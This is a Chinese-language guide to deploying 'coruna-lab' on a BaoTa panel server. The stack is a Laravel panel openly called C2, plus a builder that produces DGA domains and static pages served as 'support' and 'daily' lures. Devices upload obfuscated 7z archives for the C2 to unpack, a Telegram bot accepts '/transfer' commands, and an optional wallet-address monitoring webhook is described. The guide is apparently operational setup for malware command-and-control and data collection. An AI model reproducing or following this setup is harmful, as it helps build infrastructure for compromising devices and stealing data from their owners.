# 宝塔部署指南(coruna-lab + channel-builder) 同机部署:Laravel 内嵌 `channel-builder` 直接构建产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。 ## 架构 | 角色 | 项目 / 路径 | 对外 | 进程 | | ---------- | ------------------------------- | --------------------------- | --------------- | | C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM | | 构建工具 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv | ```text 设备 / 运营 │ ├─ Admin / C2 /web /sync ──► coruna-lab/public (Laravel) │ │ │ └─ Process ──► channel-builder → public/web|sync │ └─ state → storage/app/channel-builder └─ DGA 域名反代到同一 public/ ``` 建议目录: ```text /www/wwwroot/coruna-lab/ ``` 防火墙只放行 80/443。 --- ## 0. 服务器准备 软件商店安装: - Nginx - MySQL 8.0 - PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换) - Python 3.10+(系统或面板) - Composer(建议 ≥ 2.2,见下文排错) PHP 扩展:`pdo_mysql`、`mbstring`、`openssl`、`tokenizer`、`xml`、`ctype`、`json`、`fileinfo`、`curl`、`zip`、**gmp** 系统包:`p7zip-full`(或等价)、`git` ### PHP 多版本 宝塔可同时安装多个 PHP。每个站点在「网站 → 设置 → PHP 版本」单独选择。 CLI 请显式使用对应二进制,例如: ```bash /www/server/php/82/bin/php -v /www/server/php/82/bin/php artisan migrate ``` 扩展、禁用函数、`php.ini` 必须在**该站点所用版本**里配置。 ### PHP 运行参数(FPM / 网站) 路径:软件商店 → PHP 8.2 → 设置 → 配置修改(`php.ini`) 建议: ```ini upload_max_filesize = 64M post_max_size = 64M max_execution_time = 600 max_input_time = 600 ``` - `post_max_size` ≥ `upload_max_filesize` - Admin 触发构建会同步等待 Python 脚本,超时与 `.env` 中 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 对齐(建议 ≥ 600) - CLI 查 `max_execution_time` 常为 `0`(不限制),属正常;以浏览器/`phpinfo()` 的 FPM 值为准 Nginx 站点配置建议同时加大: ```nginx client_max_body_size 64m; ``` 禁用函数:Composer / Laravel 需要 `putenv`;C2 解包可能需要 `proc_open` / `exec`。从 PHP「禁用函数」中移除 `putenv`(按需放行 `proc_open`)。 --- ## 1. 部署 channel-builder(随 coruna-lab) ### 1.1 代码与依赖 ```bash cd /www/wwwroot/coruna-lab/channel-builder python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt # PHP-FPM 用户需能执行 .venv/bin/python,并写 public/ 与 storage/app/channel-builder/ chown -R www:www /www/wwwroot/coruna-lab/public /www/wwwroot/coruna-lab/storage ``` ### 1.2 静态路径(写在 Admin 站点 public/) 产物默认落在 **Laravel `public/`**,与 Admin 同站即可,无需单独静态站点: ```text https://admin.example.com/web//support.html https://admin.example.com/sync/daily.html ``` 在 Admin 站点 Nginx 中优先静态命中(放在 `location /` 的 `try_files … /index.php` **之前**): ```nginx location ~ "^/web/[0-9a-f]{32}/" { try_files $uri =404; add_header Cache-Control "public, max-age=300"; } location /sync/ { try_files $uri =404; add_header Cache-Control "public, max-age=60"; } ``` `lab_seeds.json` / `out/` 在 `storage/app/channel-builder/`,不在 web 根。 **首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2)。 --- ## 2. 部署 coruna-lab ### 2.1 站点 新建站点(如 `admin.example.com`): - 根目录:`/www/wwwroot/coruna-lab/public`(必须是 `public`) - PHP:8.2+ - 伪静态:Laravel ```nginx location / { try_files $uri $uri/ /index.php?$query_string; } ``` ### 2.2 Composer 需要 **Composer ≥ 2.2**(Laravel 12 要求 `composer-runtime-api ^2.2`)以及 **ext-gmp**。 ```bash # 若 /usr/bin/composer 过旧,安装新版本: curl -sS https://getcomposer.org/installer \ | /www/server/php/82/bin/php -- --install-dir=/usr/local/bin --filename=composer /www/server/php/82/bin/php /usr/local/bin/composer -V cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php /usr/local/bin/composer install --no-dev --optimize-autoloader ``` 常见错误见文末「排错」。 ### 2.3 环境与数据库 ```bash cp .env.example .env # 编辑 .env(见下节) /www/server/php/82/bin/php artisan key:generate chown -R www:www storage bootstrap/cache chmod -R ug+rwx storage bootstrap/cache # 宝塔创建 MySQL 库/用户后: /www/server/php/82/bin/php artisan migrate --seed ``` 默认后台:`/admin/login`(账号见 `ADMIN_*`,上线务必修改)。 ### 2.4 `.env` 要点 ```dotenv APP_ENV=production APP_DEBUG=false APP_URL=https://admin.example.com DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=coruna DB_USERNAME=... DB_PASSWORD=... ADMIN_USERNAME=admin ADMIN_PASSWORD=改成强密码 # Session(HTTPS 单域名后台;DOMAIN 保持 null) SESSION_DRIVER=file SESSION_LIFETIME=120 SESSION_ENCRYPT=false SESSION_PATH=/ SESSION_DOMAIN=null SESSION_SECURE_COOKIE=true SESSION_SAME_SITE=lax # 内嵌 channel-builder(无 Build API;产物默认 public/) CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python # CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public # CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder CORUNA_CHANNEL_BUILDER_TIMEOUT=600 CORUNA_STATIC_SITE_BASE_URL=https://admin.example.com CORUNA_STATIC_SITE_SCHEME=https # 可选:后台链接展示用(不驱动二进制补丁;DGA 域名以首次构建返回为准) CORUNA_LAB_CHANNEL_DOMAINS= CORUNA_REPORTING_DOMAINS= # C2 上报 7z 解包(与 build_api 无关,仍需配置) CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z TELEGRAM_BOT_TOKEN= TELEGRAM_OWNER_CHAT_ID= # 可选;设置后注册 webhook 时会带 secret_token TELEGRAM_WEBHOOK_SECRET= # 勿轻易开启 NUTGRAM_SAFE_MODE(见 .env.example) ``` 改 `.env` 后(**登录 / Session 依赖这一步**): ```bash cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php artisan config:clear chown -R www:www storage/framework/sessions chmod -R ug+rwx storage/framework/sessions # 生产可再: # /www/server/php/82/bin/php artisan config:cache # /www/server/php/82/bin/php artisan route:cache # /www/server/php/82/bin/php artisan view:cache ``` 浏览器登录前建议清掉该站 cookie。`storage/framework/sessions` 必须对 PHP-FPM 用户(宝塔多为 `www`)可写,否则后台 POST 登录易出现 419。 ### 2.5 p7zip(C2 入库) `CORUNA_7Z_BIN` **仍需要**:设备 multipart 上报的混淆 7z 由 Laravel `CorunaArchive` 解压,与 channel-builder 无关。 Debian / Ubuntu(宝塔常见): 若 `apt update` 因失效源失败(例如腾讯 GitLab CE 镜像 404),先禁用: ```bash mv /etc/apt/sources.list.d/gitlab-ce.list \ /etc/apt/sources.list.d/gitlab-ce.list.disabled apt update apt install -y p7zip-full command -v 7z ``` 拷到项目(规避 `open_basedir`): ```bash cd /www/wwwroot/coruna-lab mkdir -p bin cp "$(command -v 7z)" bin/7z chmod +x bin/7z ``` `command -v 7z` 为空说明未装成功或 PATH 无 `7z`;用 `find /usr -name '7z' 2>/dev/null` 定位后再 `cp`。 ### 2.6 Telegram Webhook(上线必做) Bot 入站指令(如 `/transfer`)依赖公网 HTTPS webhook,默认路径: ```text https:///hooks/telegram ``` 1. `.env` 填好 `TELEGRAM_BOT_TOKEN`、`TELEGRAM_OWNER_CHAT_ID`;建议设置 `TELEGRAM_WEBHOOK_SECRET`(随机长串) 2. `APP_URL` 必须是对外可访问的 `https://admin.example.com`(无尾斜杠亦可,命令会拼接路径) 3. 确保站点已上 SSL,Telegram 能访问该 URL 4. 注册 webhook: ```bash cd /www/wwwroot/coruna-lab # 使用 APP_URL + /hooks/telegram /www/server/php/82/bin/php artisan telegram:set-webhook # 或显式指定: /www/server/php/82/bin/php artisan telegram:set-webhook \ 'https://admin.example.com/hooks/telegram' ``` 成功输出 `OK`。若配置了 `TELEGRAM_WEBHOOK_SECRET`,命令会一并传给 Telegram `secret_token`;控制器按该 secret 校验。 更换域名或 token 后需重新执行本命令。 #### Bot 指令无响应 / `getWebhookInfo` 报 500 1. 看 Laravel 日志是否出现 `telegram webhook hit` / `telegram webhook failed`: ```bash tail -n 100 /www/wwwroot/coruna-lab/storage/logs/laravel.log ``` 2. 若日志完全无变化,再查 PHP-FPM / Nginx(可能未写到 `laravel.log`): ```bash ls -la /www/wwwroot/coruna-lab/storage/logs/ # 宝塔常见: tail -n 80 /www/wwwlogs/yxouw.cc.error.log tail -n 80 /www/server/php/82/var/log/php-fpm.log ``` 3. `getWebhookInfo` 中 `pending_update_count > 0` 且 `last_error_message` 含 500:部署含「webhook 始终 ACK」的修复后,重新: ```bash /www/server/php/82/bin/php artisan telegram:set-webhook ``` 4. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。 可选(地址监控):若启用 Tokenview,可另执行: ```bash /www/server/php/82/bin/php artisan tokenview:set-webhook # 默认 → https:///hooks/tokenview ``` --- ## 3. 联调检查清单 1. `channel-builder/.venv/bin/python -c 'import Crypto, py7zr; print("ok")'` 正常 2. Admin 登录 `https://admin.example.com/admin/login` 3. 后台新建渠道 → 构建成功;响应含 `seeds` / `domains`(首次) 4. 打开静态站 `/web//support.html` 与 `/sync/daily.html` 5. `/web//support.html` 与 `/sync/daily.html` 可直接访问;seed 在 storage 不暴露 6. C2 上报与 7z 入库正常 7. `telegram:set-webhook` 成功;Bot 能收到指令 --- ## 4. 日常运维 | 动作 | 命令 / 操作 | | ---------- | --------------------------------------------------------------- | | 更新 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` | | 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 | | 备份 | MySQL + `public/web` + `public/sync` + `storage/app/channel-builder` | | 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` | 当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。 --- ## 5. 排错摘要 ### `mkdir(): Permission denied` at `Helpers.php` / `public/log` C2 中间件会写 `public/log/c2/Ymd.log`。站点运行用户(宝塔多为 `www`)对 `public/log` 无写权限时会报错。 ```bash cd /www/wwwroot/coruna-lab mkdir -p public/log/c2 chown -R www:www public/log storage bootstrap/cache chmod -R ug+rwx public/log storage bootstrap/cache ``` 同时确认网站「运行目录 / 用户」与上述属主一致。部署后建议立刻执行一次,避免首个 C2 请求踩坑。 ### Composer:`putenv()` undefined PHP「禁用函数」含 `putenv`。在 PHP 8.2 设置里移除后重试。 ### Composer:`composer-runtime-api 2.0.0` 不满足 `^2.2` `/usr/bin/composer` 过旧。用 getcomposer.org 安装到 `/usr/local/bin/composer`(≥ 2.2),并用 PHP 8.2 调用。 **不要**用 `composer update`「修」这个问题——lock 本身通常没问题。 ### Composer:缺少 `ext-gmp` 软件商店 → PHP 8.2 → 安装扩展 **gmp**,确认: ```bash /www/server/php/82/bin/php -m | grep -i gmp ``` ### Nginx:`unknown directive "32}/(web|sync)/"` location 正则未加引号,`{32}` 被当成配置块。改为: ```nginx location ~ "^/web/[0-9a-f]{32}/" { ``` ### `apt` 因 gitlab-ce 源 404 失败 ```bash mv /etc/apt/sources.list.d/gitlab-ce.list \ /etc/apt/sources.list.d/gitlab-ce.list.disabled apt update ``` ### `cp "$(command -v 7z)"` 报 `cannot stat ''` 未安装 `7z` 或不在 PATH。先装 `p7zip-full` 再拷贝。 ### CLI `max_execution_time => 0` CLI 默认不限制;改网站用的 FPM `php.ini` 并以 `phpinfo()` 验证。 ### 后台登录 HTTP 444 **444** 是 Nginx(宝塔防火墙 / 安全规则)直接掐连接,请求通常未进 PHP。查 Nginx/网站防火墙拦截日志,对管理 IP 或 `/admin` 放行后再试。 ### 后台登录方式(改造后) - 登录页为 Layui **AJAX JSON** 提交(用户名 / 密码 / 可选谷歌验证码),不再整页 form redirect - 失败限流:同一账号+IP 约 5 次 / 60 秒 - 可选 Google Authenticator:登录后「安全 → 谷歌验证」绑定 - 部署后需执行迁移:`php artisan migrate`(admins 增加 status / google_* / last_ip) ### 后台登录 HTTP 419(Page Expired) 请求已进 Laravel,多为 CSRF / Session。确认: 1. `APP_URL` 为对外 `https://...`,并设置 `SESSION_SECURE_COOKIE=true`、`SESSION_DOMAIN=null` 2. 执行: ```bash cd /www/wwwroot/coruna-lab /www/server/php/82/bin/php artisan config:clear chown -R www:www storage/framework/sessions chmod -R ug+rwx storage/framework/sessions ``` 1. 浏览器清除该站 cookie 后重试 裸 `curl` POST `/admin/login` 且不带 `_token` / Session cookie 时出现 419 是预期行为,不能用来判断 Session 坏了。 --- ## 6. 分机部署(可选) 若要把 `/web` `/sync` 拆到另一台纯静态机: - 构建后 rsync `public/web` + `public/sync` 到静态机文档根 - 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘 - seed 状态仍放在 lab 的 `CORUNA_CHANNEL_STATE_ROOT` 同机时无需拆分,Admin `public/` 即静态根。